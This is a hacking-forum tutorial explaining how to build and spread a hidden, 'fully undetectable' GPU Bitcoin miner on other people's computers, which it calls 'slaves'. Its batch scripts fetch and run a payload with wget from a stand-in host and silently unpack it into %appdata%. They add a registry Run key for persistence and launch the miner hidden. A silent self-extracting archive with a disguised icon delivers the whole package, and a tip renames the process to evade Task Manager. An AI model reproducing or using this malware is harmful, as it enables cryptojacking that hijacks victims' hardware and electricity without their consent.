• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

[Tutorial] How to Create your own FUD Startrum GPU Bitcoin Miner

Status
Not open for further replies.

goldregister

LvL-23
User
Joined
Feb 18, 2013
Messages
285
Reputation
0
Reaction score
2,697
Points
243
Credits
12
‎12 Years of Service‎
95%
Well i am nearing my 100 rep+ so saying thanks to all hose who gave me, i am sharing this special topic.

I didn't created this one but removed the bugs from a topic in other forums and posted it.

Requirements:

http://ck.kolivas.org/apps/cgminer/'>http://ck.kolivas.org/apps/cgminer/ [Download one for windows]

http://www.nirsoft.net/utils/nircmd.html'>http://www.nirsoft.net/utils/nircmd.html

Winrar

This link is hidden for visitors. Please Log in or register now.


Now How to Create:

First download latest build of CGMiner from the official web site( http://ck.kolivas.org/apps/cgminer/ ).

Extract it in a folder.

Then download NirCmd ( http://www.nirsoft.net/utils/nircmd.html). Get the x86 version, it works on both x86 and x64 os. NirCmd will help us to start programs in hidden mode, is very useful.

8f6f5f9820cb54157cbd21242e4763e6.png


Put the nircmd.exe in your CGminer folder.

4703fd277697f23e25471596aebd6444.png


Now navigate in your installation folder of winrar and take from it the RAR.exe. This is a command line winrar.

c1957a3369c73a027a6af5ec572fc536.png


We will use it later. For now just put it near your CGMiner folder

1d1bad7fb69a8fceafca305735ddc2af.png


Create a txt file inside your CGMiner and edit it like this:

Code:
>
SET NRCMD="%appdata%\miner\nircmd.exe"
SET ARG1=-u username
SET ARG2=-p password -I d
SET ARGNRCMD=exec hide
SET ARG0=-o stratum+tcp://us2.eclipsemc.com:3333
SET MINER="%appdata%\miner\cgminer.exe"
%NRCMD% %ARGNRCMD% %MINER% %ARG0% %ARG1% %ARG2%
Where username and password is your mining username and password and that stratum.mining.eligius.st:3334 is your mining address.

Rename start.txt in start.bat and put it in your CGMiner folder.

3f59431253df37b6320d6ec21d4d51f7.png


Nice! Our miner is ready!

Select all files inside your miner folder and compress them into a rar file. Let’s call it setup.rar. Put setup.rar near your rar.exe.

Pay attention! The files of miner should be in root of rar file without subfolders!

cfb2bd0edd0c4ea4ef3c7cc2460c96f0.png


Now upload setup.rar and RAR.exe on a direct link hosting site, You can upload setup.rar in
This link is hidden for visitors. Please Log in or register now.
and for ther Rar.exe, use this link http://dl.dropboxuse...3349776/Rar.exe Save the direct download links, we will use them in the next step.

Now let’s make the installer!

Installer creation:

Create installer.txt file and write this inside:

Code:
>SET INSTALLPATH=%appdata%\miner
mkdir %INSTALLPATH%
wget.exe http://mysite.com/RAR.exe -O "%INSTALLPATH%\rar.exe"
wget.exe http://mysite.com/setup.rar -O "%INSTALLPATH%\setup.rar"
%INSTALLPATH%\RAR.exe x -o+ %INSTALLPATH%\setup.rar %INSTALLPATH%\
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "miner" /d "\"%INSTALLPATH%\nircmd.exe\" exec hide \"%INSTALLPATH%\start.bat\"" /f
start %INSTALLPATH%\nircmd.exe exec hide %INSTALLPATH%\start.bat
Save this file with .bat extension.

Wget will download files for us. Put it in the same folder with installer.bat. Also add nircmd.exe.

08f5ce8ec8efc2a2e83145ccc5cb229c.png


Our installer is ready!

Now we need to put all together. We will use a SFX-rar file.

Select all files and create a new rar archive.

Set it like this:

3e7edfe78d827d4138467e7c6501dd12.png


Now go in “advanced” tab and press on SFX options.

Go in icon settings for change the icon of output sfx file.

510b3e030e26c72ba5392e5fc3069da3.png


After this go in comments tab and enter this comment:

Code:
>
Path=%temp%
SavePath
Setup="%temp%\nircmd.exe" exec hide "%temp%\installer.bat"
Silent=1
Overwrite=1
e5fb27b81ce9bd8b89736038e178b271.png


Then create your sfx file. Now the installer is made

Tips:

-Changing name of cgminer.exe will also change the process name in task manager! Remember to write the right name in all .bat files!

-Adding another file in the sfx archive and changing the comment can hide the installer.

How to remove:

Create uninstall.bat and write this inside:

If your slaves get an error "OpenCl.DLL" is missing like this

c646274e63d71be441b29bf2fefac2b7.png



it is recommended to drop this file at System32
"http://webgel.net/bf/OpenCL.dll" by putting it inside the archive by putting an extra line in Rar command like this:

Code:
>Setup="%temp%\OpenCL.dll"
taskkill /IM cgminer.exe /F
del %appdata%\miner\* /Q
rmdir %appdata%\miner
reg DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run / v "miner" /f
Launch uninstall.bat to remove the miner.

 
Re: [Tutorial] How to Create your own FUD Startrum GPU Bitcoin Miner

Excellente tutorial!

 
Status
Not open for further replies.
Back
Top